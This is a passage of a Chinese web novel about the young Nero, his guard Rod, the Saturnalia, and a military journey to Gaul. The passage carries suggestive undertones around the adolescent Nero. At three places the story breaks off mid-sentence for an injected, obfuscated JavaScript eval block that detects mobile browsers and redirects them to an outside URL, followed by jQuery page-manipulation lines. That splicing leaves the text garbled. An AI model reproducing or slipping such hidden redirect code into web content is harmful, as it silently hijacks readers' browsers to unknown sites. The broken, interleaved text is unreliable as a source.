“义甲,用龟壳制成的。”罗德笑道,“如果您不想让指甲磨损到开裂的地步,最好戴上它。”
尼禄心生一种温暖的苦涩。那些叵测的欲|望暂且先按下不表;某种程度上,他感觉自己从小缺失的亲情,在此时得到了些许的弥合。
尼禄眼前发热,搂住罗德的手臂,流露出一种深重的依赖。
他细长的卧蚕颤抖两下,话语随着变得低哑的嗓音流溢而出:“罗德,你怎么这么好……”
罗德愣一下,接着就笑起来。他的鼻息断续呼出,吹颤了尼禄蓬松的银发。
“行了……”他扯开他黏人的搂抱,不怎么正经地笑道,“少矫情!”
这时,有奴隶疾步走到树下,抬头向尼禄禀报:“主人,奥托大人来访。”
罗德警然。他收起悠闲的神态,以尖峰的眼光瞟向庭院。
他的气息于瞬间紧迫,眸中顿显一道霹雳般的狠光。
安东尼在门口来回踱步。他穿着乳白的长袍,鲜亮的金发泛射出白光。在遮天蔽日的榕树顶下,他就象一块病变了的白斑。
当年,就是他雇人去杀尼禄,最后毒害了自己。
罗德黑着脸,扶着尼禄跳下树,全身都如镀上一层铁铜一样紧绷。
安东尼打着油滑的步子走过来,顶着一张笑眯眯的脸。那过于甜腻的笑容,使他的脸庞好象结满一层腻腻的糖霜,即刻就要抖落下来。
尼禄冰黄的眼瞳里倒映出他逐渐变近的身影。
“我来向您道贺。”安东尼恭敬地行礼,头颅伏得比腰还低,“罗马唯一的继任者病愈了。”
尼禄瞧一眼他低伏如老狗的脊背,晶亮的眼睛眨两下。榕树的荫庇蒙上他清秀的眼睫,他的阴郁是以一种柔软而展现的。
他恶作剧般地扬起一个微笑:“听说病愈之后的第一个访客,会带走所有报复未竟的恶鬼。”
安东尼的后背象拉弓一样绷紧。他哆嗦一下,讪讪地直起身,“您说笑了……”
“你不必害怕。”尼禄冲他一笑。他摆出一个阴暗的笑容,卧蚕之下便是深重的黑影。他以告诫的口吻说:“我骗你的。”
安东尼的嘴角出现一丝怒意,又象水汽蒸发一般转瞬即逝。他赔着笑脸说:“很抱歉我坏了规矩,没有事先跟您打个招呼。”
他凑近尼禄两步,鲜红的双唇象涂了鲜血一样艳红。那顶张扬的金发之下,是他惯于谄媚的笑脸。
“据说皇帝很快要去高卢亲临战事。”他精明的眼珠颤动着,“您既有血统又到年龄,是全罗马唯一的后继者。他也许会带您同去的……”
尼禄沉默不语。这时一绺晃动的阳光射进他的眼底,加重本有的眸色,他眼瞳里尖锐的光亮于此刻毕现,相当凶戾。
安东尼奴颜婢膝,“我提早来告知您,希望您能做出准备。”
尼禄的眼睫瞬间又堙没于树影中。他顿了一会,说出口的话也是暗钝的:“看来你的消息比我还要灵通。作为一个普通的骑士,你能打听到这个消息,足见你的本事。”
安东尼挤出一个忠诚的表情,低眉顺眼地伏低脊背,向他行一个自贬式的礼节。
“我是个有能力的人!”安东尼说,“当您将来踏上皇帝的宝座,我愿以全部的身心去辅佐您!”
流转的光影在尼禄脸庞晃荡而过,使他的表情意味不明。
他脊背挺直,紧抿的双唇如有薄刃般擦动几下:“好。”
安东尼裂开一个木偶般的笑容,“愿桂冠早日戴于您的发间!”
他吹捧完毕,如滑蛇一样粘腻地退去了。
罗德按住尼禄的双肩,使他正面向自己。他有不可抑勒的急躁,铁钳般的手指深深掐进尼禄的皮肉,几绺干净的碎发半掩着他烈火般狂放的眉宇。
尼禄感到肩部传来深重的钝痛。但他没有显露出任何不适。
罗德的脸庞尽染犀利。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239638|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迫切地警示道:“他是与皇后私通的情夫!所以才能得到这么灵通的消息!”
尼禄紧盯他的黑眼睛,一些浓情袭上他的眉梢,“我知道。”他轻柔地说。
罗德钳紧他的肩,力度没轻没重。他背着光,五官俊美而隐晦,此时有种雌雄不辨的美感。
“不要相信他!”他警告道。
尼禄乖巧地点头,安宁地说:“我会的。”
罗德松开他的双肩。这时他看到自己指甲上突兀的血迹,神色一紧,连忙扯开尼禄的领口。
尼禄肩膀裸|露,锁骨象横杆一样凸出来,已初具雄健。
他白细的皮肤上,如被刀剜一般,有罗德指甲形状的血口。
罗德沉默一会,眼神中有隐约的歉意。他的黑眸过于幽深,此刻也有难以察觉的微光。
桀骜不驯的他尝试性地开口道歉:“我其实并不想……”
“没关系。”尼禄歪过脸,纯净的眼光淡漠地扫过肩处的伤口。
他用指尖蘸了蘸伤处的血,竖着指头,将血迹展示给罗德看。他的眉眼之间,还有一丝尚未褪尽的腼腆。
“我喜欢你……”他于此处稍作隐晦的停顿,“……喜欢你这么做。”
罗德沉着的黑瞳中划过一丝疑惑。
……
安东尼的消息果然灵通。
没过几天,克劳狄乌斯就下令,赋予尼禄指挥官的职位,与自己同去一趟高卢。
带着继任者去平定战事,这是每一任罗马皇帝的例行做法。
对于尼禄来说,这是一个建立军功的机会。
只有立下赫赫战功,才能在登帝之后得到将军和元老们的驯服。
罗德记得,前世时这个机会没有落到尼禄头上,以至于他在登基时毫无军功,被一些贵族甚至平民鄙夷。
家奴们在勤奋地收拾行囊。他们将新购来的剑戟装箱,折叠出一堆堆结实的皮甲,圆弧形的罗马盾摞成两摞。女奴舞着针线,加固军靴的针脚。厨师烘干面包,将煮熟的牛肉晾晒成肉干,以作尼禄路上的干粮。
他们的主人明天就要出征。
罗德训练而归。
他热得一身汗,焦躁地摘掉握剑用的皮手套,柔亮的汗水濡湿他俊挺的眉锋。
奴隶给罗德端来一杯加冰的葡萄酒,被他推拒了。
“我只喝低廉的啤酒。”他热得心躁。
尼禄轻声走过来。他穿着轻便的长袍,触地的袍摆拂出一路灰迹。这使他轻盈的脚步多了一层累赘。
“我说过,你完全有权指使我的奴隶。”尼禄认真地说。
罗德瞧见他冗重的长袍,汗亮的眼帘如涂银粉。他太过燥热,把摘掉的手套随手一丢。
“您该挑选一件合身的皮甲了。”他撩开黏湿的黑发说,光洁的额头尽显。
尼禄望向他,纤薄的双唇轻动:“我还想出一趟门。”
“什么时候?”
“现在。”尼禄补充道,“跟你一起。”
罗德石岸般沉毅的身影一侧,连水都没想着要喝一口。他毫不迟疑地走向门口,柔韧的软筋因为用力而盘错在他直削的脚踝。
“那就走吧。”他背对尼禄直率地说。
尼禄无声地笑笑。
他捡起被罗德丢弃的皮手套,戴在了自己的手上。那里面湿湿的,还有罗德的余温。
22. 未定的第三个心愿
罗马比往常要热闹很多。
街头竖起农神萨图尔努斯的铜像,人们围在街边欢乐地赌博,游走人群的奴隶将小麦粒泼撒到空中。妇女在发间插着麦穗,男人在脸上涂抹花哨的油彩。整座街道张灯结彩,街边有摊贩在卖烤肉、啤酒和乳酪。
今天是农神节。
在农神节这天,贵族间流行这样一个规矩:
主仆身份得到暂时的对调。主人需要以宴席款待他的奴仆,并且尽可能满足他们在今天提出的心愿。
这算是厌腻享受的贵族们为了调剂生活而发明出的一种小情|趣。
街道挤得人山人海。尼禄与罗德并肩走着,两人的手时不时打到一起。
罗德热得扯开衣领,纤细的锁骨得以被人窥见。他的脸沾满汗水,那无疑是性感的,有一种超越性别的美。他是那种处于人群之中都鹤立鸡群的俊美之人。
罗德停在小摊前,向摊贩要一杯啤酒。摊贩被他端丽的五官惊艳半晌,给他免费添加了柠檬和冰块。
罗德丢给他一枚银币,扬起脖颈大口喝酒。
他的喉结连续滚动,深邃的颈线如流线般闪动,远处的火盆使他的面部有温和的暖色。
尼禄眼神迷离,敏感的鼻尖能闻见啤酒的麦香气。
罗德将空掉的酒杯还回去,细长的指骨白皙如冰,晃乱了摊贩的眼睛。
尼禄瞥到摊贩惊艳的脸,苍黄的眸中刮擦过一丝狠毒。
待到两人重新走回街上,几乎被挤得肩膀紧挨。
他们摆动的手打到一起。
于此碰撞的瞬间,尼禄趁势抓住罗德的手,速度之快宛如一条狡猾的鲶鱼。
“热!”罗德不耐地抱怨道。他想抽回手,但尼禄如同禁锢般死死抓住。
尼禄委屈起来,浓密到堪比黑刃的眼睫毛微颤。他松软的银发堪比丝线,此时如胶冻一样晃动两下。
“这里人太多了。我不想和你走散……”他亲密地挽过罗德的手臂,整个人都黏在他身上。
罗德的红唇隐隐发动。但他终究是没把反驳的话说出口。
两人在街上逛一会,罗德还赌了几把钱。他们路过许多间餐食摊,被饭香勾引得饥肠辘辘。
尼禄买了几串烤鹦鹉肉,以及用苣荬菜叶卷起的龙虾。
鹦鹉肉被厨师烤得鲜嫩,上面撒一层黑胡椒粉和无花果肉。尼禄轻轻一撕,剔透的纤维就拉开在肉质间,咸鲜的肉香带着热气扑过来,就连骨头缝里的肉渣都有浓郁的酱香。
两人边走边分享食物。
尼禄文雅地吃着烤肉。他黏人地挽住罗德,就这样一边挽臂走一边吃着东西,实际上动作有些困难。
“其实今天我应该服侍你,你可以向我提出任何心愿。”尼禄咬掉一小口龙虾。
他的双唇巧妙地动着,没有沾到虾肉上的香草粉末。
“这种闹着玩的对调没有任何意义。”罗德气质凛冽的黑眼睛瞟过去,漫不经心地说。
“可我是认真的!”尼禄强调道。
罗德瞄他一眼,咀嚼的速度开始变缓。他强硬的态度有松动的趋势。
尼禄安静地吞咽下去,一副端庄的仪态,“按惯例来讲,你该向我提出三个心愿。”
他顿一下,“我都会满足你的……”
罗德飞快地吃光鹦鹉肉,面带浅笑地调侃道:“我只希望您现在松开我的手臂!”
“噢……”尼禄摇摇头,将他的手臂攀得更紧。他晶体般的棕眸移向眼角,这一瞬间罗德的身影钉入眼底,如一团融化不了的金属。
“不是这么低级的心愿,罗德……”他语气温柔,年轻的眉目间尽染罗马城的流光,有一丝华丽的意味。
“让我满足你吧……罗德。”他故作奴仆的恭顺样子,细白的皮肤隐泛绯红。一丝难以察觉的狡黠隐藏在眼里,他的撒娇近似于祈求,“求你了……”
罗德沉思起来,严肃宛如金片般贴上他坚毅的面庞。
他想起一些久远的回忆,一种从前世倾泻而来的警醒占据头脑,下巴的线条过于刚直以至于易断。
尼禄毛绒般的银发凑近他,小声催促道:“先说第一个……”
罗德沉默良久,眼眸深沉地低垂。
锋锐的气息逐渐盈满他的眼眶,他以一种沉重的口吻说道:“不要杀害您的母亲。”
惊异的情绪从尼禄的心脏直直蹿到头顶。他微微倒抽一口气,脸色涨红起来。被戳中最阴暗的秘密,这使他十分心虚。他如鲠在喉,象死亡似的沉寂了很久。
“……好,我答应你。”他重又开口,嗓音如被锤击一样沉闷。
罗德了然地瞧他一眼,继续道:“还有,就是成为一个象奥古斯都那样的皇帝。”
尼禄坚定地点头,唇角紧迫地绷住,“好。”
罗德没再提什么心愿了。他捏出一只苣荬菜卷,慢悠悠地吃着,殷红的嘴唇摩擦在鲜绿的蔬菜叶上,在他黑发黑瞳的夹击之下,象一朵盛开在黑荆棘中的鲜花。
尼禄看向他柔软的红唇,轻声问道:“那最后一个呢?”
“那个以后再定。”罗德悠然地说,幽暗的黑瞳中闪有游荡的光芒,十分随意而率性的样子,“现在一时半会还想不出来。”
尼禄懂事地闭上嘴。他不想再催促罗德。
两人依偎着走回家宅。最终,还是罗德吃掉了盒里最后一块龙虾肉。
……
第二天一大清早,当黯沉的太阳与月亮同时悬浮于鱼肚白的天幕,尼禄就从家宅出发了。
他带着他坚韧的羊皮皮甲、镀铜柄的刀剑和未经磨损的新盾牌。
当然还带着他的罗德。
路途遥远,两人同坐一只马车。
皇帝的马车走在他们前面。
克劳狄乌斯一脸憋屈,象一只被夹断腿的老鼠一样缩在车角。他的脸颊和眼眶上都出现了淤青,青红的肿胀之处疼痛得微微颤动,好象底下鼓囊着脓液。
他用圆溜溜的指尖碰了碰高肿的伤处,从细弱的短脖子里发出“哎哟”的呻|吟。
黄金王冠在他油光的秃顶上歪斜地戴着,克劳狄乌斯宛如豌豆的小眼睛里放射出一点仇恨的目光。
——麦瑟琳娜气不过尼禄同去参战的事实,而对窝囊的丈夫宣泄怒火,一气之下竟然把花瓶砸到他的脸上。
罗德粗暴地撕开一只橙子。他的动作太过于没有耐心,橙红的果肉粒也被连皮撕了下来。
他递给尼禄一半,橙汁流了他一手,嗒嗒地滴下来。
尼禄怔了怔,有些迟疑地伸手。纤密的眼睫投下一片抖动的黛色,他拿橙子的动作也迟滞一下。
罗德干脆收回手,让尼禄抓了个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239639|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空。
他象吃香蕉一样慢腾腾地吃橙子,无视尼禄的不自然,“不想吃就算了。”
“并不是。”尼禄连忙解释,“我只吃过切成块儿、装在盘子里的水果,从来没这么直接吃过……”
罗德沉默地吃完橙子,手指蘸满淋漓的果汁。他将嘴唇凑近手指,飞快地吮吸干净,发出极其细微的水声,好象某种引人遐想的、卑劣的暗示。
尼禄能看见隐露的、与他的双唇同样艳红的舌尖,在他浓黑至极的黑发间若隐若现。尼禄产生一种说不清的情愫。
罗德擦干净手,姿势不羁地躺靠着。透过紫红的丝布帘射进来的阳光十分温和,他刚强如铁的面孔好象消熔一样,有一点柔和的妩媚。
“我问了车夫,高卢很远,我们有十多天的时间要耗在这颠簸得头晕的路上!”罗德倚着他的冷剑说道。
“我可以忍的。”尼禄平静地说,那双深不可测的棕色眼眸,居然能发出纯净无染的眼光。
罗德半眯起眼睛,给人一种慵懒的错觉,其实他只不过是在表达出兴致罢了。
“我在很久以前去过高卢……”他一边回忆一边说,语气沉重得仿佛宛如饱经风霜,“高卢的空气,浑浊得象是用灰土做的。”
罗德隐现的锁骨如船锚一样绷直。死而复活的他,曾因疾风骤雨而抛弃沉船,最终在昏迷中被海浪推到那片蛮族的土地。
“你来过高卢?”尼禄惊异道,“可是你的履历里没有这个地方……”
罗德平淡地扫他一眼,稍作停顿,搪塞道:“我行军时经过这里。”
尼禄看着他,眼眸熠熠闪光,好象有浮动的碎金箔在里面飘荡。他沉思片刻,神色有些隐晦不明,但也没有再追问下去。
“我从没来过这儿,但我知道高卢省的总督。”尼禄说,“他是个功高震主的将军,就连日耳曼尼亚和埃及的总督都很尊敬他,他在蛮族的行省里呼风唤雨。”
他睫毛微垂,一丝深重晕开在他帅气的眉眼。他的嘴唇没什么血色,薄如冷刃,于是连说出口的话都有点危险的意味:“要知道,高卢人和日耳曼人的作战能力是最强的。他几乎握住了罗马的命脉……”
罗德交叠起修长的双腿,靴子的绑带交叉缠绕在他利落的脚踝。
他随意地笑道:“那他可真是个忠心耿耿的将军,眼睛只去看刀戈,从不看王座。”
“是的。”尼禄点头,“听说他是卡里古拉的朋友,跟他一起长大,是他坚定的支持者。”
罗德沉沉地撇过脸,卡里古拉这个名字无疑勾起不舒服的回忆。他的侧颜很深刻,半掩在柔亮的鬓发里,如有料峭陡崖般的险峻。
他低声说:“你见过那个将军?”
“在小时候见过一次。”尼禄回忆着说,“他是个鲁莽的家伙。当时我还很年幼,他以培养我的男子气概为理由,硬是逼着我吃掉一块带血的生牛肉。那头牛刚刚被杀,肉还冒着热气……”
“他可真是个怪胎!”罗德嗤笑着轻叹一句,面庞上的险峻隐约有松懈。
“他的确挺怪。”尼禄附和道,“他有最显著的军功,明明可以在罗马享受豪宅和美食,却十多年来都坚持留在高卢这个荒凉地,做一个整天与蛮族人打交道的总督。”
罗德莞尔,笑容是不受拘束的随性,“打打杀杀的人都有点怪脾气。”
23. 视主人为孩子
军队经过十多天的跋涉,终于抵达高卢。
高卢是偏僻的行省。低矮的廉价木屋宛如杂草堆般错乱地排列。高卢人天生魁梧,却因为贫穷总是一副灰头土脸的样子。泥土铺设的街道扬起厚尘,衣服破烂的小孩只有石子作玩具。神庙的石柱被风蚀,掉落下来一地碎块。
尼禄被安顿在单独的营帐里,罗德的营帐就紧挨在旁边。
军营的环境对罗德来讲十分熟悉。他从水井里打了水,洗去脸上的风尘。
他有着很修长的手指,有棱有角的,此时他明犀的五官完全埋进手掌。
罗德以井水抚脸,浓烈的眉线被水濡湿得凌乱。他微抬起湿亮的眼睫,从细细的指缝间,瞧到了一身戎装的尼禄。
铁丝盘错的锁子甲绷在尼禄身上。他纤直的腰身尽显,披挂着暗色的红披肩,皙白的手里紧握一柄利剑。
他浑身满溢着进攻的气质,唯有那顶蓬蓬的银发很软糯,如流转于危山之巅的一朵白云。
一身灰铁的尼禄好象一颗硌人的铁砂夹进罗德的指缝。他背后即是黄尘飞扬的天地。
罗德揩去脸上的水光,唇角勾起一个轻柔的微笑,“还挺帅。”他笑道。
尼禄于瞬间就羞红脸,愉悦宛如浓蜜般盈满他的心脏。
他脚步绵软地走过去,铁靴在泥地上踩出一串细瘦而深重的脚印。
“我感觉我就象一个被镀上铁皮的雕像。”尼禄挥了挥胳膊,柔韧的锁子甲无比贴合他的身形,“托加袍比这个可舒服多了。”
“您所穿的是最轻便的。”罗德抬手,指向不远处体格强健的高卢军人,甩出一串闪亮的水珠,“一般的士兵只能穿又硬又松的鳞甲。”
尼禄瞄过去。那里有两名士兵在进行格斗训练。
他们持铁刀操木盾,以熟练的招式和剑法搏斗。其中一人如收割一般横扫利剑,扫出一片寒光;另一个以盾抵挡,于僵持的瞬间借势反攻。剑戟击打的声音响彻军营,如雷鸣般轰进尼禄的耳朵。
“他们作战的经验比我丰富。”尼禄沉郁地说,极干净的眉眼微颤,有一丝无助。
他忧虑的语气顿了顿,轻叹道:“我现在连射箭都不会,却要以羊皮纸上的理论指挥这帮生猛的家伙。这群士兵是不会听顺于我的。”
“正常。”罗德抱起双臂,黑色的身影十分颀长。
一绺阳光斜进浓厚的鬓发,隐约照亮他轻笑的脸庞。他的口吻随意而直率,夹杂一些照顾的意味:“毕竟您还是个连剑也没拿过的孩子。”
孩子这个措辞使尼禄脊背微抖,心底传来一阵钝痛。
他僵立一会,白净的脸庞宛如落满一层灰尘般暗沉。
高卢的冷风遒劲,从远处裹挟粗粝的尘沙而来。罗德的长发被吹乱,脸颊被砂石击打得刺痛。
他下意识地按住剑柄。
尼禄忽然张口说:“我要变得和你一样强。”
罗德愣一下,一丝笑意跳上他尖锐的眼角。他主动请缨:“那让我来教您。”
尼禄点头:“我也是这个意思。”
罗德狡黠地盯他一会,忽然黑影一闪,宛如幽火般逼近他。在尼禄尚未反应过来时,已经握住他持剑的右手。他的胸膛紧贴尼禄的脊背,飘逸的鬓发轻扎尼禄的后颈。
尼禄的呼吸停滞一下,舔了舔干燥的嘴唇。
罗德夺过他的长剑,直接扔到一边。长剑在空中打旋,咣一声砸在地上。
“那就先从最简单的肉搏开始。”他低语道。
他的嘴唇过于靠近尼禄,以至于尼禄能听见他性感的气声,宛如妖魅的咒语。
……
高卢总督统领整个行省,有权调动兵马,管理整个高卢的财政、司法和工程。他是整个高卢的最高长官。
总督来觐见时,克劳狄乌斯特地戴上面罩,以遮住脸上引人发笑的青紫。
他坐在营棚里的兽皮王座上,瘦如细条的腰背佝偻着。老旧的烛光映亮他皱缩的五官。
“好久不见了,雷珂。”克劳狄乌斯半掩着脸小声说。他那圆如黑豆的小眼睛可笑地转了转,有点不自然的模样。
雷珂铁蹄般的脚步在他眼前顿住。
他长着高挺的鹰钩鼻,身材宽厚,是个凶悍的大块头。他手里的长剑还蘸有干涸的鲜血,一道紫红的长疤从前额一直贯穿到他的耳朵,象一只扭曲的蜈蚣,使他总有一股粗鲁野蛮的气质。
自卡里古拉时代,雷珂就一直担任高卢总督的职位。
他多次镇压蛮族的叛乱,亲临无数战役,有赢也有败。
雷珂轻蔑地瞟他一眼,嗖一声出剑,用剑尖勾掉了皇帝的面罩。
“你又被一个女人给打了吗?”他态度傲慢。
“噢……”克劳狄乌斯被这突然之举吓呆了。剑刃就距他的耳边不过毫厘。
他眼光黯淡,委屈巴巴地说:“给我留点面子,雷珂。好歹我也是你的表哥……你不能这么吓唬我……”
雷珂鄙夷,干脆面罩丢进火盆。面罩顷刻就化为灰烬。
他锤印般的眼珠斜过来,对克劳狄乌斯怒目而视,轻藐几乎要化成尖刺从眼里戳出来。
“你真是窝囊!”他抄起粗壮的胳膊。
克劳狄乌斯象个受气包一样捂着淤青,从指缝间偷瞄雷珂,眼神幽怨。
“你也知道我处境艰难,雷珂……我有一个恶鬼般的妻子,她倚仗着娘家对我胡搅蛮缠,我头上的的桂冠堪比荆棘……”
“别拿她的家族遮掩你惧内的缺点!”雷珂冷冷地说,“她是有嫁妆有势力,但你也是皇帝,你有她没有的血统,跟她是势均力敌的!”
“唉……”克劳狄乌斯疲惫地叹息,“帝位使我痛苦不堪。我每天都要为治理传染病焦头烂额,缺钱运营的浴场、久治不歇的洪水让我备受元老院的弹劾,倒不如来高卢躲上一阵……”
“哼!”雷珂对他冷眼以待,讽刺道,“罗马人真是不幸,摊上你这么一个逃兵皇帝!”
克劳狄乌斯长吁短叹。他松开捂着淤青的手,幽幽地抬眼,耷拉着的眼皮之下冒有哀怨的目光。
他叹道:“如果当年你没有放弃帝位,这个皇帝我也是做不成的……”
“闭嘴吧!”雷珂绷着脸打断道。
他微侧过脸,前额疤痕的轮廓得以加深,十分狰狞,口气具有一种毋庸置疑的威慑力:“我是个忠诚于朋友的人,这你应该很清楚!”
克劳狄乌斯悻悻地闭了嘴,给了雷珂一个怨妇般的眼神。
雷珂迈着重铁般的脚步,咚咚地走到营棚门口。
他掀开帘子,雄厚的身影被框在黄沙吹拂的背景之内,有一丝苍凉。
“对了……”他想起来,“你这次还带上了尼禄?那个长得象小绵羊一样的家伙?”
克劳狄乌斯点了点头,弯曲的身影在兽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239640|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
皮座椅上挪了挪。
“昆汀死了,我还没来得及指定养子。目前他是最有希望的继任者。”他神色疲倦地说,“迫于元老院的压力,我只能带他过来……”
雷珂侧过身,抄着双臂,带着一副自命不凡的神情说道:“你的儿子死了,可我从你的脸上一点也看不出悲伤的痕迹……”
克劳狄乌斯小心翼翼地瞧他,尴尬地咳嗽两声。他塌陷的肩膀难受地耸动着,好象浑身都套上了不舒服的绳索。
“其实……”他细声细气地说,脸色十分虚弱,“我怀疑昆汀不是我的孩子。你也知道,我到了这个年纪……行房的次数屈指可数……”
震惊宛如火山一样在雷珂脸上爆发。他的眉目间皆是烟火缭绕的凶悍。
“我的老天爷!”他感慨道,“你简直不象个男人!”
“有些东西你理解不了的,雷珂。当上了皇帝,很多事情就由不得我了……”克劳狄乌斯蜷在兽皮上,神色悲哀地说,“我是这世界上最高贵的囚徒!”
雷珂停滞一会,迈着重步走出营棚,抱以肆意的口气说:“我要去会会那个小绵羊!”
……
自从克劳狄乌斯远走高卢,麦瑟琳娜就一直住在父亲家里。
尤利乌斯全身心地安慰他的女儿。他倾尽物力和时间去溺爱她,连美貌的奴隶们都不怎么去临幸了。
他亲自下厨,为麦瑟琳娜烤制一条胭脂鱼。
嫩红的鱼皮被烤得微微翻卷,鱼肚子里灌满猪肉末。他精心地往鱼皮上铺满核桃碎,用烧热的橄榄油一浇,鱼肉香溢散开来,连鱼刺都酥脆得可以食用。
麦瑟琳娜披着黑丧服,面对着镜子,枯瘦的手慢慢抚过憔悴的素颜。
尤利乌斯把胭脂鱼端到她的梳妆台上,慈爱地抚摸她枯燥的红头发,柔声说道:“你得吃点东西,麦瑟琳娜。”
麦瑟琳娜撕开鱼肉,机械地往嘴里塞一勺猪肉末。她抖动的眼睑愈发鼓胀,涌出的眼泪落满鱼肉。她吃着吃着就哭出声来。
“我的昆汀以前也爱吃这个……”她哭泣道,“我的孩子啊……为什么死去的是你呢?”
尤利乌斯心疼地搂着她。麦瑟琳娜的眼泪鼻涕沾上他的丝绸。
“我的儿子死了……”她向他的父亲抱怨,“我失去了一切……克劳狄乌斯已经打算收养别的男孩……那个阴险的白眼狼,辜负了我们给他的丰厚的嫁妆!”
尤利乌斯拍拍她的后背,想了一会说:“你可以考虑再生一个,我的孩子。你有那么多英俊的男奴,只要是你所生,克劳狄乌斯就不敢造次……”
麦瑟琳娜绝望地摇头,粘稠的鼻涕流淌在她嘴边。她攥紧父亲的袖摆,哭着说:“我不想再遭受一次难产了,父亲……我已不再年轻,谁知道一个性别未知的婴孩的到来会不会让我送命……”
尤利乌斯忧愁地叹息,乱网般的胡须被吹动着。
麦瑟琳娜挪过涕泪纵横的脸,埋进他肥软的肚子。尤利乌斯的丝绸立刻打湿一片。
“我的家族也要跟我的孩子一样陨落了……”她语气悲戚地说,“我无法做到亲眼见证它的没落……”
尤利乌斯弯下腰,安慰地亲吻她的红发,大腹便便的身影象葫芦一样立在地上。
麦瑟琳娜的双眼血丝满布,五官因为狂躁而抽动,好象有一只浪潮迅速推移过她的脸皮。
她情绪极端,已然歇斯底里了。
24. 尼禄的双面
尼禄的锁子甲满蘸泥沙。他瘫坐在地上,呼呼喘着气,银白的刘海汗黏在前额,宛如一缕缕烫银。他已经筋疲力竭了。
罗德站姿挺拔,居高临下地俯视他,唇角带有一点柔意的笑。
他们已经练习好几个回合了。尼禄一直都在输。
“还练吗?”罗德垂着眼睛问。
他没怎么出汗,黑衣还很洁净。有点支翘的长发悉数拨到肩膀的一侧,使他端丽的容貌稍许妖冶。
尼禄坐在他的影子里,逆光仰视他,光晕间只能朦胧地瞧见他润亮的红唇。
强烈的征服欲如野兽睡醒般在尼禄心底沸涌,他下腹一热。
情思初启的少年热血沸腾。
其实他对于这种生理上的反应只有模糊的认知;但他绝对知道,这是一种以罗德为养料的、卑鄙的欲求。
他倏地弹坐起来,一把箍住罗德的腰,使尽全身力气把他压在地上。
罗德几乎是撞向地面,肩胛被尖石硌得剧痛。黑发象黑丝线般散落一地,他歪过头,半边脸贴上沙地,将凌厉而美艳的侧颜朝向尼禄。
他的气息不乱分毫,漆黑的眼瞳斜向眼角,那里有微弱的惊诧。
“力气还不小。”他调笑地说。
尼禄抓紧他的肩头,双眼紧盯他的嘴唇。那两瓣艳红色宛如引人上瘾的毒物。
“我要赢你……”他的呼吸微微紊乱。
罗德摆正脸,唇角勾起随性不羁的微笑,那里黏着几颗细小的沙粒。他不自觉地舔了一下。
尼禄象是被这一小细节所勾魂。出于青春的本能,此刻他特别想抚摸罗德。
于是他颤抖的手向下一移,就摸到一片温热的血迹。
尼禄心下一怔。他僵硬地抬起手掌,深金的眼眸瞧见一片血红。
他一瞬间就如天地倒置一样晕眩,眼前一阵发黑。
“我不能看到你流血……罗德……”他虚弱地说。
雷珂脚步响亮地走到格斗场,一抬眼就见到了这个场面。
他面色不善,故意大声地咳嗽两下,踏着厚重的步伐走到跟前。
罗德扶起腿脚虚晃的尼禄,平静地捂住渗出血的后肩。
尼禄面色苍白,腰背象受冷一样微颤,一副孱弱的样子。
雷珂嫌弃地白他一眼。
“十年过去了……”雷珂感叹,凶悍的长疤隐隐抽动,“你除了长高之外,还是这么弱不禁风!”
尼禄逐渐恢复镇静。他脊梁挺直,立体而汗湿的五官展现出一点深沉的气质。
“我是指挥官,论职位不在你之下,雷珂。”他沉缓地说,“你应该重视对我的措辞和口气,无论是现在还是以后。”
恃于军权的雷珂无视他的告诫。他粗大的鼻孔发出轻嗤:“我想你最好向你的外祖父日尔曼尼库斯学学,每顿饭后骑上马背逛两圈,让你细杆一样的腿粗壮一点!”
黄沙被一阵劲风挟来,漫天遍野都是苍黄。尼禄脸色暗钝。
雷珂长叹,粗粝的脸孔闪现隐隐的忧虑。
“你需要一个强壮的体魄,尼禄。”他语重心长地说,“你要做战前演讲,必要时还要上阵杀敌。一个孱弱的体格,是不能让手下和敌人折服的……”
尼禄绷着脸,清瘦的脸上顿显一丝沉重。
雷珂慢挪幽深的目光,无意间扫视到罗德的脸。
他骤然呆愣。一丝震惊涌入他刚正的眼睛,飞快地膨胀,行将迸裂。
雷珂倒吸一口冷气。他几乎是跳过去,一把揪住罗德的衣领,严厉地问:“你是谁?”
尼禄被激怒,阴戾从他发红的双目里逼射。
“我不准你碰他!”他的嗓音因愤怒而嘶哑。
雷珂脸色涨红,瞟了尼禄一眼,僵硬地松回手。
“告诉我你的姓氏!”他紧盯着罗德说,一副草木皆兵的神色。
罗德冰冷着脸,双唇紧紧抿合,如死寂般沉默。
鉴于父亲的滔天罪行,他一直隐瞒自己属于罪犯的姓氏。
他淡定地掸直衣领,说道:“我是个被遗弃的孤儿,没有姓氏。”
尼禄愣了一下。
